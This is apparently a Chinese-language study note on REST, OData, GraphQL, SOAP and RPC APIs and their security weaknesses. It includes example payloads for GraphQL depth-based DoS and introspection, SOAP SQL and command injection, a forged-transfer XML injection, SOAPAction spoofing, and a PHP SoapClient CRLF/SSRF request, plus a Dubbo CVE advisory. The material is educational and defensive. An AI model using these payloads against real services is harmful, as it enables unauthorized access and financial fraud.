Restful API
REST是一种风格,而不是一种协议或者标准(RESTful)
REST以资源为核心,所有事物,如果有被引用的必要性,就是资源;资源既可以是实体,也可以是抽象概念
RESTful API由后台也就是SERVER来提供前端来调用。前端调用API向后台发起HTTP请求,后台响应请求将处理结果反馈给前端。也就是说RESTful 是典型的基于HTTP的协议。那么RESTful API有哪些设计原则和规范呢?
1、资源。首先是弄清楚资源的概念。资源就是网络上的一个实体,一段文本,一张图片或者一首歌曲。资源总是要通过一种载体来反应它的内容。文本可以用TXT,也可以用HTML或者XML、图片可以用JPG格式或者PNG格式,JSON是现在最常用的资源表现形式。
2、统一接口。RESTful风格的数据元操CRUD(create,read,update,delete)分别对应HTTP方法:GET用来获取资源,POST用来新建资源(也可以用于更新资源),PUT用来更新资源,DELETE用来删除资源,这样就统一了数据操作的接口。
3、URI。可以用一个URI(统一资源定位符)指向资源,即每个URI都对应一个特定的资源。要获取这个资源访问它的URI就可以,因此URI就成了每一个资源的地址或识别符。一般的,每个资源至少有一个URI与之对应,最典型的URI就是URL。
4、无状态。所谓无状态即所有的资源都可以URI定位,而且这个定位与其他资源无关,也不会因为其他资源的变化而变化。
有状态和无状态的区别,举个例子说明一下,例如要查询员工工资的步骤为:
第一步:登录系统。
第二步:进入查询工资的页面。
第三步:搜索该员工。
第四步:点击姓名查看工资。
这样的操作流程就是有状态的,查询工资的每一个步骤都依赖于前一个步骤,只要前置操作不成功,后续操作就无法执行。如果输入一个URL就可以得到指定员工的工资,则这种情况就是无状态的,因为获取工资不依赖于其他资源或状态,且这种情况下,员工工资是一个资源,由一个URL与之对应可以通过HTTP中的GET方法得到资源,这就是典型的RESTful风格。
REST依赖于HTTP协议
REST API中的资源就是URI,这些URI遵循一定的规范或者约束,具体样例见:REST资源命名指南 | RESTful API 中文网
在REST API中,URI只用来表示资源,而不能表示对这一资源的任何操作;对资源的操作应该从HTTP方法中加以区分:
HTTP GET <http://api.example.com/device-management/managed-devices> //Get all devices
HTTP POST <http://api.example.com/device-management/managed-devices> //Create new Device
HTTP GET <http://api.example.com/device-management/managed-devices/{id}> //Get device for given Id
HTTP PUT <http://api.example.com/device-management/managed-devices/{id}> //Update device for given Id
HTTP DELETE <http://api.example.com/device-management/managed-devices/{id}> //Delete device for given Id
有时会遇到对某些特定资源进行筛选、限制、排序等要求,合理的解决方案是在一个API中使用参数加以对不同要求的区分:
<http://api.example.com/device-management/managed-devices>
<http://api.example.com/device-management/managed-devices?region=USA>
<http://api.example.com/device-management/managed-devices?region=USA&brand=XYZ>
<http://api.example.com/device-management/managed-devices?region=USA&brand=XYZ&sort=installation-date>
在rest中会通过向服务器提交的请求类型来表示增删改查这些操作
- GET(SELECT):从服务器取出资源。
- POST(CREATE):在服务器新建一个资源。
- PUT(UPDATE):在服务器更新资源。
- DELETE(DELETE):从服务器删除资源。
oData
OData是Open Data Protocol的缩写,是一种基于REST的数据访问方式,该标准由微软发起,前三个版本1.0、2.0、3.0都是微软开放标准,第版本4.0于2014年在OASIS投票通过成为开放工业标准。有关OData的的协议的详细介绍,可以访问www.odata.org 。
OData由两部分组成,也即“格式(format) + 协议(protocol)”。格式定义了如何描述数据,协议定义了如何操作数据。因此,可以将OData理解为一种“接口协议”,它规定了数据格式以及数据的操作标准。OData服务广泛应用于各种场景的集成,在SAP产品中,SAP Fiori,SAP JAM,SAP Netwear Protal以及在SAP Cloud Platform上都广泛地使用了OData技术。
oData是一种Restful风格API的一种标准化协议,为了补充Restful API在通用方面的欠缺所提出,其组成:
- 模型:定义数据结构,一般在后端
- 协议:支持CRUDQ,数据传输为XML或者JSON
- 客户端库:非必须的,保证客户端可以使用库函数访问oData的服务
- 服务:被访问的服务端
$filter运算符
- eq 等于
- ne 不等于
- gt 大于
$oderby 排序:host/userInfo?$orderby=name desc
$top / $skip / $inlinecount客户端换页: host/usetInfo?top=5&$skip=1&$inlinecount=allpages
$count数据量 / $expand嵌入内容 / $format格式化 / $select查询字段的列表
oData至少向外暴露的接口:
host/:
获取实体列表host/$metadata
获取实体元数据host/$id
对应实体的数据,可结合查询参数?$select=name&$filter=id eq 1 and age gt 20
OData的服务结构包括:
- 服务文档(Service Document):描述了OData Service中可用的数据的概览信息,也即OData中所含的Entity Set信息。
- 服务元结构文档(Service Metadata Document):在元结构文档中,描述了OData服务中的数据类型及其相关的属性,也即Entity Type和Property。
在以上两种文档中包含了:
- 实体集合(Entity Set):等同于RSS中的Feed节点,是某一种信息的集合
- 实体(Entity):等同于RSS中的Entry节点,描述了具体某一条目信息的内容
- 实体类型(Entity Type):表明实体的类型,每一个实体都对应一个Entity Type
- 属性(Property): 实体具体的属性
- 导航属性(Navigation Property):用于描述层级关系,例如Category - Sub-category这种关系
- 关联(Association):描述关联关系
示例:可以访问以的OData的示例文件 -
- 访问OData的Service Document:https://services.odata.org/V3/Northwind/Northwind.svc/
- 访问OData的Medata Document:https://services.odata.org/V3/Northwind/Northwind.svc/$metadata
- 访问OData中具体的某一个Entity Set:https://services.odata.org/V3/Northwind/Northwind.svc/Products
- 访问OData中具体的某一个Entiry: https://services.odata.org/V3/Northwind/Northwind.svc/Products(1)
- 访问OData服务中,某一Entity的属性:https://services.odata.org/V3/Northwind/Northwind.svc/Products(1)/ProductID
OData结构小结:
- 在OData的service document中可以看到所有的Entity Set;在OData的metadata document中可找到Entity Type和Property。
- 如果想查看某一具体的实体,则直接在OData Service Document的URL后直接append上具体的实体名称即可,例如上例中的实体集合Customers;在实体集合中,每一条entry也即对应着一条数据的Entity。
GraphQL
GraphQL是一门基于API的查询语言,在Restful API中,一个API可能用来维护一个功能,比如:
<http://api.example.com/users/{id}> //列出指定id的user
<http://api.example.com/users/list> //列出所有user
但是在GraphQL中如果想要完成上述功能,只需要一个API即可,我们需要做的就是改变POST请求体的内容,然后服务器根据内容来做出响应。
权限控制
在没有做好权限控制的情况下API可能会执行一些危险的操作,比如查询用户的所有信息
query GetAllUsers {
users {
id
username
password
...
}
}
这种问题并不是API技术本身带来的,却也是API技术不可避免的。
注入
注入的本质是数据和代码的弱分离,在于发出GraphQL查询前就把数据拼接到了查询语句中,形成了GraphQL注入。
用户访问URL → 前端获取参数 → 拼接成GraphQL语句 → 发送 → 后端执行
解决方案是使用GraphQL中的参数化查询,把拼接的过程交给后端执行
DDoS
如果Schema中定义的类型字段中有互相引用的情况下,通过构造无限重复的查询有可能造成DDoS攻击。
type Query {
author(id: ID!): Author
}
type Author {
id: ID!
book: Book
...
}
type Book {
id: ID!
author: Author
...
}
query {
author(id: {$id}) {
book {
author {
book {
author {
book {
...
}
}
}
}
}
}
}
通过限制查询深度可以解决此问题
内省
通过内省系统可以拿到后端接口的信息,可能会发生信息泄露的问题。
查询存在的类型
query {
__schema {
types {
name
}
}
}
查询类型的字段
query {
__type(name:"Root") {
name
fields{
name
type{
name
kind
ofType{
name
kind
}
}
}
}
}
...
SOAP
soap是基于XML的协议,通过HTTP来交换信息,一般其构成如下:
<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://www.w3.org/2001/12/soap-envelope" soap:encodingStyle="http://www.w3.org/2001/12/soap-encoding">
<soap:Header></soap:Header>
<soap:Body>
<soap:Fault></soap:Fault>
</soap:Body>
</soap:Envelope>
- sql注入
SOAP请求中一些参数未经过滤直接拼接到sql查询语句中。
<username xsi:type="xsd:string">admin' OR '1'='1'#</username>
另外,可以根据报错信息探测数据库的信息
- 命令注入
SOAP请求中一些参数未经过滤直接被当作命令执行。
<targetHost xsi:type="xsd:string">192.168.66.1; ls;</targetHost>
- XML注入
通过在SOAP请求中插入或修改恶意的XML Payload达到攻击的效果。
比如现在有两个SOAP API:检查余额和转账交易
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:Bank">
<soapenv:Header/>
<soapenv:Body>
<urn:requestBalance soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<wallet_num xsi:type="xsd:decimal">wallet_num</wallet_num>
</urn:requestBalance>
</soapenv:Body>
</soapenv:Envelope>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:Bank">
<soapenv:Header/>
<soapenv:Body>
<urn:internalTransfer soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<receiver_wallet_num xsi:type="xsd:decimal">receiver_wallet_num</receiver_wallet_num>
<sender_wallet_num xsi:type="xsd:decimal">sender_wallet_num</sender_wallet_num>
<amount xsi:type="xsd:float">amount</amount>
<token xsi:type="xsd:string">token</token>
</urn:internalTransfer>
</soapenv:Body>
</soapenv:Envelope>
对于检查余额,只需要一个钱包的id,对于转账交易,需要接收者、发送者、金额、token四个参数
我们可以将所有用户的余额来汇总到我们手上,但是缺少交易的token,这时候就可以用注入来达到任意转账的目的:
...
receiver={our_id}</receiver_wallet_num><sender_wallet_num xsi:type="xsd:decimal">{another_id}</sender_wallet_num><!--
amount=--><amout xsi:type="xsd:float">999999
经过拼接之后:
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:Bank">
<soapenv:Header/>
<soapenv:Body>
<urn:internalTransfer soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<receiver_wallet_num xsi:type="xsd:decimal">{our_id}</receiver_wallet_num>
<sender_wallet_num xsi:type="xsd:decimal">{another_id}</sender_wallet_num>
<!--
</receiver_wallet_num>
<sender_wallet_num xsi:type="xsd:decimal">sender_wallet_num</sender_wallet_num>
<amount xsi:type="xsd:float">
-->
<amount xsi:type="xsd:float">999999</amount>
<token xsi:type="xsd:string">token</token>
</urn:internalTransfer>
</soapenv:Body>
- SOAP Action欺骗
一个HTTP请求中会包含一个SOAP Action
的头部,用于表示此次请求的操作,这个操作可能会被攻击者修改,这样就改变了此次请求的行为逻辑。
...
SOAPAction: urn:ws-user-account#createUser
...
{soap_data}
...
SOAPAction: urn:ws-user-account#deleteUsert
...
{soap_data}
有时候仅仅修改SOAP Action
是不够的,可能要根据不同的Action对soap请求的内容进行修改。
- Dos Attack
服务端对于请求的参数没有进行验证或者参数没有边界,可能会引发服务端的缓冲区溢出,造成服务不可用。
...
<userName xsi:type="xsd:string">gcvjaklsdjaosihfoiqwhfoiqwhbfoqiwheqwoieqwoiejhqwpoohfoqiefo.123asdasdsafdsfosidghsdfoighnodfbnoobidfbnoifhosdfasdasdh</userName>
...
- WSDL泄露
WSDL文档中包含了web服务的信息,有些web服务的信息是不能公开的(比如支付,合理收集用户信息等)。
# Google Search
inurl: ?wsdl
- CRLF + SSRF
PHP中的有自己的SOAP扩展,其中的SoapClient类中有一个参数可以自定义UA头,通过控制UA头,再结合CRLF,就可以构造任意POST请求
$payload = new SoapClient(null,array('user_agent'=>"test\r\nCookie: PHPSESSID=08jl0ttu86a5jgda8cnhjtvq32\r\n
Content-Type: application/x-www-form-urlencoded\r\nContent-Length:45\r\n\r\n
username=admin&password=nu1ladmin&code=470837\r\n\r\n\r\n",
'location'=>$location,
'uri'=>$uri));
RPC
首先了解什么叫RPC,为什么要RPC,RPC是指远程过程调用,也就是说两台服务器A,B,一个应用部署在A服务器上,想要调用B服务器上应用提供的函数/方法,由于不在一个内存空间,不能直接调用,需要通过网络来表达调用的语义和传达调用的数据。
RPC 的主要功能目标是让构建分布式计算(应用)更容易,在提供强大的远程调用能力时不损失本地调用的语义简洁性。
RPC要解决的两个问题:
1. 解决分布式系统中,服务之间的调用问题。
2. 远程调用时,要能够像本地调用一样方便,让调用者感知不到远程调用的逻辑。
Dubbo
CVE编号 CVE-2023-23638
漏洞情况
Apache Dubbo 是一款 RPC 服务开发框架,用于解决微服务架构下的服务治理与通信问题,官方提供了 Java、Golang 等多语言 SDK 实现。该项目受影响版本存在反序列化漏洞,由于Dubbo在序列化时检查不够全面,当攻击者可访问到dubbo服务时,可通过构造恶意请求绕过检查触发反序列化,执行恶意代码。
受影响的版本
- org.apache.dubbo:dubbo-common@[3.0.0, 3.0.14)
- org.apache.dubbo:dubbo-qos@[3.1.0, 3.1.6)
- org.apache.dubbo:dubbo-common@[2.7.0, 2.7.22)
修复方案
- 将组件 org.apache.dubbo:dubbo-common 升级至 3.0.14 及以上版本
- 将组件 org.apache.dubbo:dubbo-qos 升级至 3.1.6 及以上版本
- 将组件 org.apache.dubbo:dubbo-common 升级至 2.7.22 及以上版本